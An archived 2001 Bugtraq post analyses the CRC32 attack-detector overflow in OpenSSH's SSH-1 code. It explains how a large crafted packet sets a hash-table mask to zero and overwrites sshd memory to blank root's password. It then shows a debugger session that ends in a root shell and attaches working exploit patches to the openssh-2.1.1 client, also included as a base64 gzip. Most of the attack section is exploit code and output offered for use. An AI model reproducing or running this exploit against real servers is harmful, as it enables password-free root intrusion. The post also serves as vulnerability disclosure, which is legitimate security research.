
This document is provided for reference purposesonly. Statements in this document do not reflect the opinions ofReactor Core staff orJonathan Walther. If you find aught todisagree with, that is as it ought be. Train your mind to test every thought,ideology, train of reasoning, and claim to truth. There is no justice when evena single voice goes unheard.(1 Thessalonians 5:21, 1 John 4:1-3,John 14:26, John 16:26, Revelation 12:10, Proverbs 14:15, Proverbs18:13)
Date: Tue, 20 Feb 2001 11:38:26 +0100From: Paul Starzetz <paul@STARZETZ.DE>Subject: Quick Analysis of the recent crc32 ssh(d) bugTo: BUGTRAQ@SECURITYFOCUS.COMDies ist eine mehrteilige Nachricht im MIME-Format.--------------FD97510AF8C8DA3569ACE961Content-Type: text/plain; charset=iso-8859-11. Abstract-----------This article discusses the recently discovered security hole in thecrc32 attack detector as found in common ssh packages like OpenSSH andderivates using the ssh-1 protocoll. There is a possible overflow duringassignemnet from 32bit integer to 16bit wide one leading to unmaskedhash table offsets.In this article I will try to show how:a) exploit the crc32 hole to gain remote access to accounts withoutproviding any password, assuming remote sshd allows empty passwordsb) change login-uid if valid account on the remote machine exists.I'm aware about the wide consequences arising form this disclosure andpossibly some people will hate me because I wrote this, but after youhave read this article, you will see that the exploitation is reallyhard and tricky but on the other hand interessting. I think that theimpact of the crc32 hole is greater than the recent bind bug. I'm notresponsible for any damage resulting from this code, if you use this onyour own.The exploit code is a set of patches to openssh-2.1.1, but of course onemay want to put the needed routines into one code file.Note: this is neither a typical buffer overflow exploit (shell code) nora format string exploit :-)2. Details----------Lets look at the vulnerable code in deattack.c. I will derive fewconclusions about exploitation of the deattack code here.Original deattack.c code taken from OpenSSH-2.1.1, interesstinglocations are marked with [n]:intdetect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV){ static u_int16_t *h = (u_int16_t *) NULL; static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE; register u_int32_t i, j; u_int32_t l; register unsigned char *c; unsigned char *d; if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || len % SSH_BLOCKSIZE != 0) { fatal("detect_attack: bad length %d", len); }[1] for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2) ; if (h == NULL) { debug("Installing crc compensation attack detector.");[2] n = l; h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE); } else { if (l > n) { n = l; h = (u_int16_t *) xrealloc(h, n * HASH_ENTRYSIZE); } } if (len <= HASH_MINBLOCKS) { for (c = buf; c < buf + len; c += SSH_BLOCKSIZE) { if (IV && (!CMP(c, IV))) { if ((check_crc(c, buf, len, IV))) return (DEATTACK_DETECTED); else break; } for (d = buf; d < c; d += SSH_BLOCKSIZE) { if (!CMP(c, d)) { if ((check_crc(c, buf, len, IV))) return (DEATTACK_DETECTED); else break; } } } return (DEATTACK_OK); } memset(h, HASH_UNUSEDCHAR, n * HASH_ENTRYSIZE); if (IV) h[HASH(IV) & (n - 1)] = HASH_IV; for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {[3] for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED; i = (i + 1) & (n - 1)) { if (h[i] == HASH_IV) { if (!CMP(c, IV)) { if (check_crc(c, buf, len, IV)) return (DEATTACK_DETECTED); else break; }[4] } else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) { if (check_crc(c, buf, len, IV)) return (DEATTACK_DETECTED); else break; } }[5] h[i] = j; } return (DEATTACK_OK);}[2] as wee see here, a 32bit int value is assigned to 16bit wide onlyone. Bad things happen, if n is assigned a (truncated) value 0, becausethe value of n-1, where nwould expand to 32bit before the calculation ismade is used as bit mask for following hash table operation [3]. Becausel is computed to be a power of 4 in [1], we do not need to know theexact value for the len argument of detect_attack. We will end with nbeeing exactly 0 if len is big enough. The overflow happens at exactlyLEN = (16384 / HASH_FACTOR) * SSH_BLOCKSIZE which is 87381.So now we know how to set n to 0. Simply send a ssh1 packet with sizeexceeding LEN. But are we able to send such long packets? The answer isyes, after looking at the code of packet handling code in packet.c wesee that the maximum accepted packet len is 256 kbytes.But what we can do with this? The answer is simple: after the value of nhas been set to 0, we can access all sshd's memory by providingout_of_range hash indexes which are taken as (network order) values fromthe packet buffer itself (due to the HASH function beeing simpleGET_32BIT), whose have to be 'unsigned short' index values. Thedetect_attack code will scan 8 bytes long blocks checking them for crc32attack using only the first 4 bytes of each block as hash table index.So we can set the other half of the buf blocks to arbitrary valueswithout consequences to what we are indexing.So having n=0 we can change really any value in the memory! For exampleto write to the variable X having the value V we need to supply the Vthbuf block with an offset to X in server's memory, offset because itwould be calculated relative to the value of 'h', which has beenallocated by a call to xm(re)alloc(). The value of h has indeed to beguessed, though (or in other words we need to guess the offset to h).But this would only write V to to X because 'j' which is the value wewrite in [5] counts blocks in buf. As you see from [3] and [4] there isa condition for writing to memory. The block number V has to beidentical with the block obtained by buf + h[i] * 8, which means that weneed 2 blocks: first a 'self termination' block with the number V andanother block with the number 'k' where k is the new value we want towrite to X. Note that with this technique we can only increase the valueof X ! There are 2 other conditions: the UNUSED_HASH and the HASH_IV condition,though, I do not discuss them here.Lets analyse the condition we need to enter detect_attack code at all.From packet.c it can bee seen that we need the session key to be set, sothe first posibility to enter detect_attack is after the ssh_kex code inauth1.c. This makes the exploitation a bit tricky, because we need tosend encrypted packets.So one may ask, how to send an encrypted packet containing the neededoffsets if we must always encrypt our data before sending? We can dealwith it easilly maintaning a copy of the receive context as sshd seesit. After the seesion key has been set (it is the same for sending andreceiving) we need to _decrypt_ all packets we send to sshd. With thistrick we are able to produce the plaintext needed for construction ofdesired encrypted packet :-)Let us look at the format of ssh-1 packets. They are always 8*n (packetscontaining other data amount are padded) bytes long and contains an(encrypted!) checksum at the end of packet:(LEN)[001][002][003][004]...[XXX]where [...] stands for a 8-byte long block and (LEN) is a 32 bit valuecarrying the length information (network order!). The last [XXX] blockwould be like[PPPPCCCC]with P standing for padding or data and C for the crc32 checksum. Thechecksum is calculated over all packet bytes _excluding_ the checksumlocation but including the last 32 bits of the packet (padding or data)and then stored at the end of packet and after that the resulting packetis encrypted with the current cipher context (usually send_context inpacket.c).There are 2 another difficulties too, one can point out. The first isthat after we have sent a big packet setting 'n' in detect_attack to 0,n will be still 0 in succeding calls and this will result in an endlesloop in [1]. Therefore our packet _must_ overwrite the static variable nin detect_attack subroutine! Because we have xrealloc'ed the buffer h with the new size =n*HASH_ENTRYSIZE which would expand to 0, the buffer h cannot be assumedto point to any valid memory... So the only way to deal with this is tosend only _small_ packets matching the condition len < HASH_MINBLOCKS(=56). For example we have to disable tty allocation (-T option) in thefollowing exploit code. Never enter more than about 36 bytes on theprompt :-)The second real hard problem is the value of PPPP. detect_attack willscan the buf for crc32 compensation attack _including_ the last blockwith crc and pad. But we cannot really controll the encrypted value of Pbecause the ciphers work always on 8 byte long blocks mixing the 2 32bitvalues with each other (I didn't found any simple way to deal with this,cryptography experts, where are you?!). So the question is: how the PPPPbytes have to be in order to obtain defined encrypted value at the P'sposition _after_ we calculated the cheksum? I doubt that this problem issolvable at all. However, I use at this point the UNUSED_HASHtermination condition. After n has been set again by our big packet to avalue != 0 we need to match the condition h[PPPP & n-1] == 0xffff. Seebelow to understand how I'm doing this ;-)So now we know all about the detect_attack code and the packet format,lets think about really exploiting this. After I have looked at theauthorisation code auth1.c I found 3 ways of possible exploitation inthe do_authloop function:a) there is a local variable 'int authenticated = 0' which set to value!= 0 would authorise the session and start a remote shell immediatelly.b) overwriting the pw->pw_passwd value which should be 'x'\000 onsystems with shadow passwords with something like \000'x' would producea remote shell too if sshd has 'emptypasswords' enabled.c) overwriting pw->pw_uid with some value would change the uid theremote shell is running after successfull athentication.You will very fast figure out, why (a) is not easy exploitable (if atall...).It is time to describe an exploitation way for (b), which I decided tochoose for this article. Exploiting (c) would be similiar but not reallyinteresting, I think, because we can only increment the uid value.Lets summarize, how our (very very...) magic and big packet has to looklike:- we put as first cipher block an offset pointing to the location of nin detect_attack(), so first write h[i]=j will set n=0- we make the 0x78th block to point to the location of pw->pw_passwd(which point to somewhat like 0x78 0x00 ... at this time), this is ourtermination block for pw->pw_passwd. h[i]=j wouldn't change the valuepw->pw_passwd is pointing to- we make the 0x100th block to point to pw->pw_passwd again, so thath[i]=j would change the value *(pw->pw_passwd) to be now 0x00 0x01(which is an empty string, say no password :-)- the 512th cipher block has to change n in detect_attack() to be 512 sono deadlock occurs in succeding calls to detect_attack().- other cipher block offsets have to be 0x00000000.- and finally we choose the last free (padding) value PPPP of the packetto match following condition: network_order(PPPP) & 511 == 0 (bruteforce that, PPPP would be found very fast...) so that we still have an_effective_ offset 0x00000000. After I played a bit with this, I foundthat it is not really necessary to bother about PPPP...There are few other modifications to the ssh code, though. I mentiononly that before we send our magic big packet there will be a'0xffff-setting' packet, only to set up the h buffer with 0xffff values;-)Another modification I made is sending empty password after we have sentthe long packet in sshconnect1.c. You will find other minor changes onyourself...3. Exploit----------Attached are diff files for the openssh-2.1.1 package. The patch uses 2environment variables called 'OFF' and 'NOFF', where OFF has to be theoffset to the variable we want to overwrite (pw->pw_passwd), NOFF theoffset to stattic variable 'n' in the detect_attack code.To finish this discussion lets look at some successfull exploitation ofsshd. I have run sshd in gdb in debugging mode to simplify this show,but you can try the code with your own 'real' sshd of course, usingapriopriate offsets...on the client side:./ssh -v -p 7777 localhost 2>&1 -c blowfish -T -l rootwhere -T prevents from sending ALLOC_PTY packet, which would exceed the56 bytes limit, on the server side:(gdb) runThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /usr/home/paul/tmp2/openssh-2.1.1p4/./sshd -p 7777 -d-f ./sshd_config -b 512 2>&1debug: sshd version OpenSSH_2.1.1debug: Seeding random number generatordebug: read DSA private key donedebug: Seeding random number generatordebug: Bind to port 7777 on 0.0.0.0.Server listening on 0.0.0.0 port 7777.Generating 512 bit RSA key.debug: Seeding random number generatordebug: Seeding random number generatorRSA key generation complete.debug: Server will not fork when running in debugging mode.Connection from 127.0.0.1 port 3743debug: Client protocol version 1.5; client software versionOpenSSH_2.1.1debug: Local version string SSH-1.99-OpenSSH_2.1.1debug: Sent 512 bit public key and 1024 bit host key.debug: Encryption type: blowfishdebug: stored copy of send contextdebug: Received session key; encryption turned on.Breakpoint 1, detect_attack ( buf=0x80f9d14"VÉzZí\236\005\035b¬I\205:I@N4c;\r\227³W\204ËÔ\022ƵlT\aO\025¡®Ë6\227+w\177úN\032@\017°$·Kë\230óCbÄ\225,_~(\bîЩl6136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||(gdb) cContinuing.debug: Installing crc compensation attack detector.debug: Attempting authentication for root.(here I have added some debugging code to detect_attack in order toeasilly gain offsets :-)debug: PASSWORD ADR = 0xbffff08c : 80f8890 80f9c88 0debug: passwd = [x]debug: name = [root]Breakpoint 1, detect_attack ( buf=0x80f9d14"q9\216\203Èac]uuE\235A\013nQ\022·\003oj8Üo+[\eë\207Xÿ®r[ó7\233\030«ß%ÏÍ·ÙRò\207l1\230y¿(\211¡\004\207\037\027& len=528, IV=0x0) at deattack.c:136136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||(gdb) x 0x80f9c880x80f9c88: 0x400c0078As we see here, 0x400c0078 is the stored 'x'\000 value from /etc/passwd,which indicates that root has a shadow password.(gdb) p len$15 = 528the packet received is the '0xffff' packet which would prepare thememory region h with UNUSED_HASH values, ok lets continue:(gdb) cContinuing.Unknown message during authentication: type 248debug: Unknown message during authentication: type 248Failed bad-auth-msg-248 for ROOT from 127.0.0.1 port 3743ok, sshd ignored the 0xffff packet, the client side is guessing now thevalue of PPPP. Lets see what happens as next:Breakpoint 1, detect_attack (buf=0x8100144 "\177þa0ÿÿÿÿ", len=88072,IV=0x0) at deattack.c:136136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||(gdb) p len$16 = 88072(gdb) p n$17 = 4096Got big packet! Lets step into the detect_atack code:(gdb) n140 for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l<< 2)...(gdb) p n$18 = 0So now we have set n=0 and n-1 = 0xffffffff and can overwrite memory ;-)After few loops we check again the location of pw->pw_passwd:(gdb) x 0x80f9c88 0x80f9c88: 0x400c0100Oooops, root seems to have no password now! Lets run the loop a bitlonger:(gdb) p n$25 = 512(gdb) p j$26 = 785We see that at this point we have set n back to be 0x200 and can enterdetect_attack again. Lets check now the termination value for the lastiteration in [3], which has to be UNUSED_HASH (note the network orderoffsets):(gdb) x/16 buf + len - 8 0x8115944: 0xf5966c0d 0xb7ef464b 0x09000000 0xeed64f1a0x8115954: 0x2c1b8d66 0x891bb13a 0x527c53d0 0x00000000(gdb) x/16 &h[0x0d6c96f5 & 511]0x80fdf1a: 0xffffffff 0xffffffff 0xffffffff 0xffffffff0x80fdf2a: 0xffffffff 0xffffffff 0xffffffff 0xffffffffOk, it looks fine, lets continue the loop till the end and hope thatsshd wouldn't die after overwriting 0x80fdf1a with the value of j uponthe end of the [3] loop. It will take about 120 seconds on a P-100machine to complete the loop (yes, I wrote this on an old P-100/64mb:-).(gdb) cContinuing.Unknown message during authentication: type 237debug: Unknown message during authentication: type 237Failed bad-auth-msg-237 for ROOT from 127.0.0.1 port 3747Breakpoint 1, detect_attack (buf=0x8115950"\032OÖîf\215\e,:±\e\211ÐS|R", len=16, IV=0x0) at deattack.c:136136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||Oooops^2, now we have fooled sshd to believe that root doesn't have apassword set, set n to be != 0 and we are still alive. SUCCESS! So it isnot difficult to imagine what happens now:(gdb) cContinuing.Accepted password for ROOT from 127.0.0.1 port 3747debug: session_new: initdebug: session_new: session 0Breakpoint 1, detect_attack (buf=0x8100144"\030© Ñ'\233Ç*oå\021w(Ç\035v", len=16, IV=0x0) at deattack.c:136136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||We didn't supply any password at all :-))) After continuation we get aninteractive session for root:(gdb) cContinuing.Unknown packet type received after authentication: 9Breakpoint 1, detect_attack (buf=0x8100158 "¾áBAS£øyÿÿÿÿ", len=8,IV=0x0) at deattack.c:136136 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||(gdb) cContinuing.debug: Entering interactive session.debug: fd 9 setting O_NONBLOCKdebug: fd 11 setting O_NONBLOCKdebug: server_init_dispatch_13debug: server_init_dispatch_15On the client side we see this (no pty):Permission denied, please try again.debug: Requesting shell.debug: Entering interactive session.Environment: USER=root LOGNAME=root HOME=/root PATH=/usr/bin:/bin:/usr/sbin:/sbin MAIL=/var/spool/mail/root SHELL=/bin/bash SSH_CLIENT=127.0.0.1 3747 7777iduid=0(root) gid=0(root)groups=0(root),1(bin),12(mail),14(uucp),15(shadow),16(dialout),42(trusted),100(users),101(untrusted),65534(nogroup)That's all !'"§$!...Now you will probably understand, why the crc32 hole is very difficultto exploit. Also any brute force approach one may try would consume thenetwork bandwith...Nevertheless, upgrade your sshd as soon as possible :-)ihq.--------------------------------------------------------------------------------ATTACHED: sshd_exploit.diff !!! DEMONSTRATION CODE, NO TROJAN, NO JOKE!!!--- crc32.c Thu Jun 22 13:32:32 2000+++ patched_crc32.c Tue Feb 20 03:02:04 2001@@ -119,3 +119,14 @@ } return crc32val; }++unsigned int+crc32_recursive(const unsigned char *s, unsigned int crc32val)+{+ unsigned int i;+ for (i = 0; i < 4; i ++) {+ crc32val = crc32_tab[(crc32val ^ s[i]) & 0xff] ^ (crc32val >> 8);+ }++ return crc32val;+}--- dispatch.c Thu Jun 22 13:32:32 2000+++ patched_dispatch.c Tue Feb 20 03:02:18 2001@@ -71,7 +71,8 @@ if (type > 0 && type < DISPATCH_MAX && dispatch[type] != NULL) (*dispatch[type])(type, plen); else- packet_disconnect("protocol error: rcvd type %d", type); +// packet_disconnect("protocol error: rcvd type %d", type);+ debug("WOULD TERMINATE: type : %d", type); if (done != NULL && *done) return; }--- packet.c Tue Jul 11 01:29:50 2000+++ patched_packet.c Tue Feb 20 03:04:16 2001@@ -72,6 +72,12 @@ /* Encryption context for sending data. This is only used forencryption. */ static CipherContext send_context; +// we have to decrypt all data before sending with backup in order tobe able+// to predict the values on sshd's side+static CipherContext backup_context;+static char tmpbuf[1024];++ /* Buffer for raw input data from the socket. */ static Buffer input; @@ -146,6 +152,7 @@ cipher_type = SSH_CIPHER_NONE; cipher_set_key(&send_context, SSH_CIPHER_NONE, (unsigned char *) "",0); cipher_set_key(&receive_context, SSH_CIPHER_NONE, (unsigned char *)"", 0);+ cipher_set_key(&backup_context, SSH_CIPHER_NONE, (unsigned char *) "",0); if (!initialized) { initialized = 1; buffer_init(&input);@@ -298,8 +305,69 @@ unsigned int bytes) { cipher_encrypt(cc, dest, src, bytes);++// on ssh side we maintain a copy of remote's cipher context in orderto be able+// to decrypt our messages +// we simply decrypt all we crypt to stay informed about what remotesides is doing with our data :-)+ cipher_decrypt(&backup_context, tmpbuf, dest, bytes);+ } +// decrypts the stream as it would happen on the other side+void+backup_decrypt(void *dest, void *src, unsigned int bytes)+{+CipherContext cc;++// do not modify backup context+ cc=backup_context;+ cipher_decrypt(&cc, dest, src, bytes);+}++void+send_encrypt(void *dest, void *src, unsigned int bytes)+{+static CipherContext cc2;+static int c=0;+CipherContext cc;++ if(c==0) {+ cc2=send_context;+ c++;+ debug("frezing a copy of send_context !");+ }++ cc=cc2;+ cipher_encrypt(&cc, dest, src, bytes);+}++void+send_encrypt_modify(void *dest, void *src, unsigned int bytes)+{+ cipher_encrypt(&send_context, dest, src, bytes);+}++void+send_encrypt_save(void *dest, void *src, unsigned int bytes, int save)+{+static CipherContext cc2;+static int c=0;+CipherContext cc;++ if(c==0) {+ cc2=send_context;+ c++;+ debug("frezing a copy of send_context !");+ }++ cc=cc2;+ cipher_encrypt(&cc, dest, src, bytes);++ if(save)+ cc2=cc;+}++ /* * Decrypts the given number of bytes, copying from src to dest. bytesis * known to be a multiple of 8.@@ -346,6 +414,9 @@ /* All other ciphers use the same key in both directions for now. */ cipher_set_key(&receive_context, cipher, key, keylen); cipher_set_key(&send_context, cipher, key, keylen);+ debug("stored copy of send context");+ backup_context=send_context;+ cipher_set_key(&backup_context, cipher, key, keylen); } /* Starts constructing a packet to send. */--- sshconnect1.c Tue May 9 03:03:04 2000+++ patched_sshconnect1.c Tue Feb 20 03:01:44 2001@@ -651,6 +651,126 @@ return 0; } +extern void send_encrypt(void *dest, void *src, unsigned int bytes);+extern void send_decrypt(void *dest, void *src, unsigned int bytes);+extern unsigned crc32_recursive(const unsigned char *s, unsigned intcrc32val);+extern void backup_decrypt(void *dest, void *src, unsigned int bytes);+extern void send_encrypt_modify(void *dest, void *src, unsigned intbytes);+extern void send_encrypt_save(void *dest, void *src, unsigned intbytes, int save);+unsigned int crc32(const unsigned char *s, unsigned int len);+++// this will construct valid ssh packet, containing ignored message+// with cipher(packet) = magic offset to write to configured offset+// and the packet will have valid (encrypted) crc :-)+void bigpacket()+{+unsigned DATALEN=1024*86;+unsigned paddedlen=(DATALEN + 8) & ~7;++unsigned char* buf;+unsigned char* buf2, *buf3;++int connection_out;++unsigned* ptr, *ptr2, i, checksum, w;+unsigned* chkp;++unsigned off;+unsigned noff;+unsigned npos=512;+ + + debug("*** writing big packet ***");+ + srand(time(NULL));++ buf3=getenv("OFF");+ if(!buf3) {+ debug("please set OFF");+ exit(1);+ }++ sscanf(buf3, "%x", &off);+ debug("\nOFF : %x", off);++ buf3=getenv("NOFF");+ if(!buf3) {+ debug("please set NOFF");+ exit(1);+ }++ sscanf(buf3, "%x", &noff);+ debug("\nNOFF : %x", noff);++// alloc mem+ buf=(unsigned char*)malloc(DATALEN+1024);+ buf2=(unsigned char*)malloc(DATALEN+1024);+ buf3=(unsigned char*)malloc(DATALEN+1024);++ memset(buf3, 0x00, DATALEN+512);+ memset(buf2, 0x00, DATALEN+512);+ memset(buf, 0x00, DATALEN+512);++ ptr=(unsigned*)(buf);+ ptr2=(unsigned*)(buf2);++// socket fd+ connection_out=packet_get_connection_out();++// construct plain text to get buf[k] = offset after encryption+ for(i=0;i<paddedlen/4;i+=2) {+ ptr2[i]=htonl(0x0);+ ptr2[i+1]=0xffffffff;+ }++// for writing to n+ ptr2[0]=htonl(noff);+ ptr2[npos*2]=htonl(noff);++// for writing to pw->pw_passwd+ ptr2[256*2]=htonl(off);+ ptr2[0x78*2]=htonl(off);++// write checksum+ chkp=(unsigned*)(buf+paddedlen);++ backup_decrypt(buf+4, buf2, paddedlen-8);++// message type+ ptr[0]=htonl(DATALEN);++// compute checksum+ checksum=crc32((unsigned char *) buf+4, paddedlen-4);+ *chkp=htonl(checksum);++// buf contains decrypted plaintext!+ send_encrypt_save(buf2, buf+4, paddedlen-8, 1);+ checksum=crc32((unsigned char *) buf+4, paddedlen-8);+ *(chkp-1)=((unsigned)rand());+ w=crc32_recursive((unsigned char *) buf+4 + (paddedlen-8), checksum);+ *chkp=htonl(w);++// encrypt freeval + new crc32 and copy this into buf2+ send_encrypt_save(buf2 + (paddedlen-8), buf+4 + (paddedlen-8), 8, 0);++// now buf is ready to send (encrypted) !!!+// modify our send_context to maintain synchronisation with the server:-)+ send_encrypt_modify(buf3, buf+4, paddedlen);+ memcpy(buf+4, buf2, paddedlen);++// write packet now:+ if (atomicio(write, connection_out, buf, paddedlen+4)!=paddedlen+4)+ fatal("write: %.100s", strerror(errno));++ free(buf);+ free(buf2);+ free(buf3);++ debug("*** wrote bigpacket ***");+}++ /* * Tries to authenticate with plain passwd authentication. */@@ -663,14 +783,32 @@ debug("Doing password authentication."); if (options.cipher == SSH_CIPHER_NONE) log("WARNING: Encryption is disabled! Password will be transmitted inclear text.");++// prepare 0xffff field !+ debug("sending 0xffff packet");+ packet_start(0xf8);+ password=malloc(512);+ memset(password, 0x00, 512);+ packet_put_string(password, 512);+ packet_send();+ packet_write_wait();+ free(password);++ type = packet_read(&payload_len);+ if (type == SSH_SMSG_SUCCESS)+ debug("sshd accepted 0xffff msg");+ if (type != SSH_SMSG_FAILURE)+ debug("sshd bounced 0xffff msg !!!");+ +// clear remote pass :-)+ bigpacket();+ for (i = 0; i < options.number_of_password_prompts; i++) { if (i != 0) error("Permission denied, please try again.");- password = read_passphrase(prompt, 0);+ password = ""; packet_start(SSH_CMSG_AUTH_PASSWORD); packet_put_string(password, strlen(password));- memset(password, 0, strlen(password));- xfree(password); packet_send(); packet_write_wait(); Yes, I'm continously looking for a very good job...--------------FD97510AF8C8DA3569ACE961Content-Type: application/x-gzip; name="sshdexpl.diff.gz"Content-Transfer-Encoding: base64Content-Disposition: inline; filename="sshdexpl.diff.gz"H4sICHJHkjoAA3NzaGRleHBsLmRpZmYA5Vn/b9pIFv+ZSv0fHkibM9hJbCAphXXVXJJuu2rTqkm1J+VyyNhDsAK25bFD2NXe337vzRczBtJtsj9eRAyeefPmM+/7zOzv70OYh73uQdi4mpXwa5lAtwteb9jr4ge6ruu+fGHbNmRBEc5YNK6oSwbv2AQpwO0N3e7Q7RO19/LF27ew73mvnR7Y9OX14e3bly+g8Sc9claUeSLnvA/mI2zDdhs/ZcLj24RFECcFvgqKcc7CMufxPbPCNOEFVEThLMihwx0wh1Vs28jgD/xv1HrjETVN0xysGHxwRwAx/Ax98W3bbRBDGhUXpJEoimBybVWt/wF+Hd+0YQ/ch+n0Bt/XfW/ewKAtplGr2rFgG7v2Ue5RzIVQf1j05oBN6XsDQ/qvPOcV2PgcKNE34ilYxSpj8AZc2NsD8ftnOPtw+eXk6vT9+NPJv6hZz3BN/TfQ9OHi28ePbcGiYXXq3W3B0YFszhJaM9KwOWe4OCTOgvCOFQQZFZewsLBaWZ4WaZjOgeV5mg8hD+8jCeSnqOWIX+1RA5d8ePg3GAgVNiI2KW+t1m+fv308g6vzr58+XJxcnQ8l9bBOr8QTpQnTKyZZdKhBLV0qcaSsmJQn4SlN/FrOwfPA9Ybd18Mjd4fqauSG4vpD79hUXNc5RsV1Ha8rNXfYgfMkzFdZEadoRGlSsIcCyIQ5S6I4uYUoKIIDgKtZzAE/aTJfQcnR4omIVWMPoHOI/HgRFHEIp3E2Y/mpYkesxoo3rVGpYMlgFtwzKFKImOADwXwuJoQJQ/asArGMixlMcI1lhp4GaR6xnMZNGASTOVMMsSHLWRSHBRQzBugNJSPEwPks+gcHHkdEuhOjZG6g1GQiEBSLbFJOrz23278ZSceTwvtnOZ0iFJJFHiwRW1YWcgXTPF0IGDwVqqnJRw0T5FIiIqj1j0k93lEX3Us6VihAjoVZ+XB5+X58+uHL+/Ov44vPF+cjg4KjLd+xlbVnCtvZHOGAtRHh2tBCU3XbO3lhdGQYG5/Hzt5iV5fxU8GRDzXjJC7iYB7/ziIRTsm31k0oIk863EQIeEx91p4QMzEhIXdfDzBs2T33yDl+LaVMf7VAPlkVjJNr/mFIRdm6FYYO2itH/DzHn5JWGQVaoTQ3YWuAFr4IkCH+Q4Dela0gnULOFmnB0B4l48rrHjVsw0HSMocF4zy4RcuWvTgJjxcZuqXpRdgqX3AwGt0KuaORLnCBwSRFG13OgkIhEViFc0dp5Ww0kbDj4X7b0KWaYluX0kO0ZEyhUP7VLq+Gc+kYRc6CBQQ4NeJJy3mE8SDLWEIuSwRpQeJRXnufxhF+qXk1DmrFSComlb+FUnZqU2TsuteH4VpxUQpJWsAijeLpSgcbtT4hgdDfDhJbcnnUOlS+VssQXqot6smL2BnBwrBrhC1Rrfju6PElo0NZoe+7uizB8f5GpKZW25Y/VMab5ux3MpK1OZtjoNmqVycoNIVr042eI6mxVM7TBbY1eT1KPhUGx7T14yAc8ZPG/H/oT2HTC5bIJOw/jdxJgbcDZ2ZEuMVkk0BSLibo9whNiY+QEmaRUnEyWTFwzKmCACOX5HWXpMtER09YlPMixtqRGA0OZPDvyQzb9/qOiv0NTOInGC9lrJFr5FTgyBAVLBhg7qLYPEESLGAxJ1K9w0XOxwlVYv/r3CkJHGInHlVV+/0M/sgwWyuUF1goRTVt6qildFmPWts28ldp+jHgMq5TFXRZBDmqUGyh8hLlIwxM1qQiAeGUUk5U2mJ6VCW3pwrWT5if4LUoWHtqn7dR326PMYpcb9g394bHRx4pmb687rFSs9omuWvgNi6OYZPw3WfG49EuNk/PTQabdQX0t/anm8CenTZ3rvDZ4fi73J4dVUcbu3sphh+TmHanqgwoaKOzjDEkVOZMOwkCi2WdtGlHeBhWdWToyEt4oCrLVFFGNZR0HEuOaWNxughuMbSn0ymXfrHM40Lsf5DdNL4tiY3slVwC9GUKQ8qTBCqxZZKALCU5qoVxyapUk/qOb+UgS+ecatVnJ1cnH88vfNrMdAbHNeFlQRSxCGXiW4oMbBjQUcR/X402jlFInh3Aom+0s7XrQAe/emqYUIv0YIye41Tse0x+HcgKDDIdfOLQGEU8Y+EdLxcOLEc1unB2l22CQanVYCRbDVnK/SNPprLG+qGiaKfTEdoghaLstMSxWQVRSc1zVIlVxAtmiYOLKt/RhqPn37KCJfdW6/O7d3oYJsIm9eksrSfExBRw2uAWYFA32ANuWDz1ppNwg/MwSKYW8XGg9dMDbor2cIHtWmb/d4KM6OyBunXvNraLp4G7eB66ZAe8CwNfYgCkjQFuWdIQXWihAfv1vWCnvRAk2ixtsl41ARnb08h7P0wuRiAsFIVaoPvguo52IhstSrFdE3V/hOgxGkGGPrBG2GkTvWJA3rHZ1TUEKQ8bYBrJwqvmcL468kJLGNd7LIPDOuplc9q3irIQQxSOIre+vrvBQKZCWDDFUG4cAolJsS6yYqxc45+raHLYH8W2363MjFZxHd/4syJN5hYKQhuY7LC9G5+OPuVfzdoQINVd2lURV1LJ5drVHA3rEx3k/J3uVu9Oftly/022HGcB58tozaJ7dLzmsMHefXg12O5Uli1jvA5mUi0YwDaVaFfCMvy2nrSJqu+o2FqR7w+M2VQOEkePGt9aLMrWaspeZOU2PPniyzS6fSijgKwhaNfqiJXJyTQXYzYcpxMn14cVlHTIzsjMmjKcbNUEcsVbsw4c0LHo6ZAHGrJFmPe9tr8e1RZRvq0olv5mKfYIe0yVljnBOoXtEM/SkItaLO5vGKNDfhsStpRFDASJqu1FXYJySoUBfEdS2zAeQTfQB3USBe5liJLOgXIWRCtduNfKjGazqSxNHpPQMVFtA4mDqiMvvkrCWZ4mMQ/E8bIoisS2iuX3GDjU0VJjV00pg+2m2tZhNMxWjziEsSTpeyqX4/qGKuuBFRTpIg7j1BIkzkZpIngaLO1+u+mbbzJaTYMimFstwQLz2oHnuhxzG51r0QWChc8kNWoE0q8Ry/Vrd+O9tx5Rq07oqK6q69alyfae+iqPcVeMmghKlHZSxGGAQ4X0ZUyXwc3sphN8MfhQ7aGOe3SxZr8a9JyeuivQaM7EKaHgkeZbXFrr09pUJAV+oM45/a0DbHn7MU/pJuXk68WHi1+G5nUEnUii7UzmLGrCFz2fqIJxh1+gl/JFXBSikocQa5ZcZCsJQZlAlrMsyBnIfALTmM0jaJr7Z3XFoAikdFXFoxImp+0tpqnpQDdLKL6qGqr8rtK77tc5vupX/DDkIs8cZzVIN4kIl1VrEXY2XgaxytfSYDSHymjUXYEaRK5s7WXBap4G0bhyoeq+Tinl8tPlL+PLb6en55eXbdP06OoEgjBkIlQrIS34bWuDT9Pg8+7kw8dvX8+3+UzSMglrbCigKFZCX0qN6mCa1qajhLGjUefKtZtWumjV9iYPkMbpdKyFM85yzHQFRzp1D6su5WIC7qpbOOm1rS8sX8SckwVGLIlZJK4gqSAu8hUEt+hB0sT2G5UpIAiStJgwm+VIbMkpq8sQk7TVkrcUNfsSvkHiO/l29X785eTy8rfPX8/aNcqdloMNqNe1ISho28b4KOnDliUZ4LQdrps2DBFevvgfHH427+cfAAA--------------FD97510AF8C8DA3569ACE961--This document is provided for reference purposes only. Statements in this document do not reflect the opinions ofReactor Core staff orJonathan Walther. If you find aught to disagree with, that is as it ought be. Train your mind to test every thought, ideology, train of reasoning, and 